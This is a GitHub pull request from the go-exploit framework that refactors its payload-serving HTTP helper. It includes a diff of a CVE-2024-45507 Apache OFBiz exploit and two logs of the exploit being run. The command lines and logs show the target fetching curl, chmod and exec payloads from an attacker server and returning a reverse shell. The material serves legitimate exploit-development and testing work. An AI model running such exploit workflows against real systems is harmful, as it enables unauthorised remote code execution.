vulncheck-oss / go-exploit

A Go-based Exploit Framework
https://pkg.go.dev/github.com/vulncheck-oss/go-exploit
Apache License 2.0
304 stars 29 forks source link

Update HTTPServeFile to Accept Files Programmatically #239

Closed j-baines closed 1 month ago

j-baines commented 1 month ago

We have a bunch of exploits that spin up an HTTP server in the exploit in order to serve some type of payload or file for exploitation. However, go-exploit has HTTP server logic built-in that supports HTTPS, automatically randomizing names, and changing the server banner. So it makes sense to just use HTTPServeFile in that case. So that's what I did for my CVE-2024-45507 implementation (and asked @j-shomo to do the same in his upcoming exploit).

The one downside is that HTTPServeFile expected at least one file to be provided by the command line to be read from disk. In this pull, I removed that requirement. Additionally, I added AddFile so users could easily call that and have whatever hosted.

The diff to use this with our CVE-2024-45507 looks like:

diff --git a/feed/cve-2024-45507/cve-2024-45507.go b/feed/cve-2024-45507/cve-2024-45507.go
index 7f59c495..4f8a7723 100644
--- a/feed/cve-2024-45507/cve-2024-45507.go
+++ b/feed/cve-2024-45507/cve-2024-45507.go
@@ -4,7 +4,6 @@ import (
    "flag"
    "fmt"
    "net"
-   "os"
    "regexp"
    "strconv"
    "strings"
@@ -167,8 +166,7 @@ func (sploit OFBizGroovyFetch) CheckVersion(conf *config.Config) exploit.Version

 // Add the file to the currently running HTTP Serve File instance.
 func hostFile(filename string, data []byte) {
-   hostMe := httpservefile.HostedFile{RealName: filename, RandomName: random.RandLetters(8), FileData: data}
-   httpservefile.GetInstance().HostedFiles[filename] = hostMe
+   httpservefile.GetInstance().AddFile(filename, random.RandLetters(8), data)

    output.PrintfStatus("Added %s as %s", filename, httpservefile.GetInstance().GetRandomName(filename))
 }
@@ -220,19 +218,18 @@ func (sploit OFBizGroovyFetch) RunExploit(conf *config.Config) bool {
        return false
    }

-   payloadFilename := "reverse.payload"
-   userPayload := (len(httpServer.FilesToServe) != 0)
-   if !userPayload {
-       // the user hasn't provided a payload to dump the generated one to disk
-       _ = os.WriteFile(payloadFilename, []byte(generated), 0o644)
-       httpServer.FilesToServe = payloadFilename
-   }
-
    // init the http server
    if !httpServer.Init(channel.Channel{HTTPAddr: httpServer.HTTPAddr, HTTPPort: httpServer.HTTPPort}) {
        return false
    }

+   payloadFilename := "reverse.payload"
+   userPayload := (len(httpServer.HostedFiles) != 0)
+   if !userPayload {
+       // the user hasn't provided a payload so add the one we generated
+       httpServer.AddFile(payloadFilename, random.RandLetters(8), []byte(generated))
+   }
+
    // we may or may not have a user provided payload. We can fetch the only file from the server and
    // be pointed at the correct value.
    for name := range httpServer.HostedFiles {

Which I think is decently straight-forward. And I, of course, tested it still works:

Programmatically added:

albinolobster@mournland:~/initial-access/feed/cve-2024-45507$ ./build/cve-2024-45507_linux-arm64 -c -v -e -rhost 10.9.49.15 -rport 8443 -s -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -httpPort 8080
time=2024-09-26T07:58:52.983-04:00 level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
time=2024-09-26T07:58:53.157-04:00 level=STATUS msg="Starting TLS listener on 10.9.49.192:1270"
time=2024-09-26T07:58:53.158-04:00 level=STATUS msg="Starting target" index=0 host=10.9.49.15 port=8443 ssl=true "ssl auto"=false
time=2024-09-26T07:58:53.158-04:00 level=STATUS msg="Validating Apache OFBiz target" host=10.9.49.15 port=8443
time=2024-09-26T07:58:53.262-04:00 level=SUCCESS msg="Target verification succeeded!" host=10.9.49.15 port=8443 verified=true
time=2024-09-26T07:58:53.262-04:00 level=STATUS msg="Running a version check on the remote target" host=10.9.49.15 port=8443
time=2024-09-26T07:58:53.396-04:00 level=VERSION msg="The reported version is 18.12" host=10.9.49.15 port=8443 version=18.12
time=2024-09-26T07:58:53.396-04:00 level=SUCCESS msg="The target *might* be a vulnerable version. Continuing." host=10.9.49.15 port=8443 vulnerable=possibly
time=2024-09-26T07:58:53.397-04:00 level=STATUS msg="Sending an SSL reverse shell payload for port 10.9.49.192:1270"
time=2024-09-26T07:58:53.397-04:00 level=STATUS msg="Added curl.xml as RNLaiGRD"
time=2024-09-26T07:58:53.397-04:00 level=STATUS msg="Added chmod.xml as vxWnObiM"
time=2024-09-26T07:58:53.397-04:00 level=STATUS msg="Added exec.xml as UomBGLTZ"
time=2024-09-26T07:58:53.397-04:00 level=STATUS msg="Starting an HTTP server on 10.9.49.192:8080"
time=2024-09-26T07:58:56.399-04:00 level=STATUS msg="Triggering callback to curl payload"
time=2024-09-26T07:58:56.494-04:00 level=STATUS msg="Connection from 10.9.49.15:48548 requested /RNLaiGRD"
time=2024-09-26T07:58:56.523-04:00 level=STATUS msg="Triggering callback to chmod payload"
time=2024-09-26T07:58:56.552-04:00 level=STATUS msg="Connection from 10.9.49.15:48562 requested /KFNxliaK"
time=2024-09-26T07:58:56.552-04:00 level=STATUS msg="Connection from 10.9.49.15:48548 requested /vxWnObiM"
time=2024-09-26T07:58:56.578-04:00 level=STATUS msg="Triggering callback to exec payload"
time=2024-09-26T07:58:56.597-04:00 level=STATUS msg="Connection from 10.9.49.15:48548 requested /UomBGLTZ"
time=2024-09-26T07:58:56.626-04:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
time=2024-09-26T07:58:57.139-04:00 level=SUCCESS msg="Caught new shell from 10.9.49.15:50832"
time=2024-09-26T07:58:57.139-04:00 level=STATUS msg="Active shell from 10.9.49.15:50832"
id
uid=1001(ofbiz) gid=1001(ofbiz) groups=1001(ofbiz)

and cli added:

albinolobster@mournland:~/initial-access/feed/cve-2024-45507$ ./build/cve-2024-45507_linux-arm64 -c -v -e -rhost 10.9.49.15 -rport 8443 -s -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -httpPort 8080 -httpServeFile.FilesToServe ./build/reverse_shell_linux-arm64 -c2 SimpleShellServer
time=2024-09-26T07:52:07.587-04:00 level=STATUS msg="Starting listener on 10.9.49.192:1270"
time=2024-09-26T07:52:07.588-04:00 level=STATUS msg="Starting target" index=0 host=10.9.49.15 port=8443 ssl=true "ssl auto"=false
time=2024-09-26T07:52:07.588-04:00 level=STATUS msg="Validating Apache OFBiz target" host=10.9.49.15 port=8443
time=2024-09-26T07:52:07.880-04:00 level=SUCCESS msg="Target verification succeeded!" host=10.9.49.15 port=8443 verified=true
time=2024-09-26T07:52:07.880-04:00 level=STATUS msg="Running a version check on the remote target" host=10.9.49.15 port=8443
time=2024-09-26T07:52:08.012-04:00 level=VERSION msg="The reported version is 18.12" host=10.9.49.15 port=8443 version=18.12
time=2024-09-26T07:52:08.012-04:00 level=SUCCESS msg="The target *might* be a vulnerable version. Continuing." host=10.9.49.15 port=8443 vulnerable=possibly
time=2024-09-26T07:52:08.012-04:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.192:1270"
time=2024-09-26T07:52:08.012-04:00 level=STATUS msg="Loading the provided file: ./build/reverse_shell_linux-arm64"
time=2024-09-26T07:52:08.017-04:00 level=STATUS msg="Added curl.xml as amEmFkRF"
time=2024-09-26T07:52:08.017-04:00 level=STATUS msg="Added chmod.xml as mMIcBlQM"
time=2024-09-26T07:52:08.017-04:00 level=STATUS msg="Added exec.xml as MChOszSS"
time=2024-09-26T07:52:08.017-04:00 level=STATUS msg="Starting an HTTP server on 10.9.49.192:8080"
time=2024-09-26T07:52:11.017-04:00 level=STATUS msg="Triggering callback to curl payload"
time=2024-09-26T07:52:11.097-04:00 level=STATUS msg="Connection from 10.9.49.15:48900 requested /amEmFkRF"
time=2024-09-26T07:52:11.154-04:00 level=STATUS msg="Connection from 10.9.49.15:48906 requested /gtyrrDTDqkmm"
time=2024-09-26T07:52:11.159-04:00 level=STATUS msg="Triggering callback to chmod payload"
time=2024-09-26T07:52:11.191-04:00 level=STATUS msg="Connection from 10.9.49.15:48900 requested /mMIcBlQM"
time=2024-09-26T07:52:11.214-04:00 level=STATUS msg="Triggering callback to exec payload"
time=2024-09-26T07:52:11.231-04:00 level=STATUS msg="Connection from 10.9.49.15:48900 requested /MChOszSS"
time=2024-09-26T07:52:11.255-04:00 level=SUCCESS msg="Caught new shell from 10.9.49.15:48512"
time=2024-09-26T07:52:11.255-04:00 level=STATUS msg="Active shell from 10.9.49.15:48512"
time=2024-09-26T07:52:11.255-04:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
id
uid=1001(ofbiz) gid=1001(ofbiz) groups=1001(ofbiz)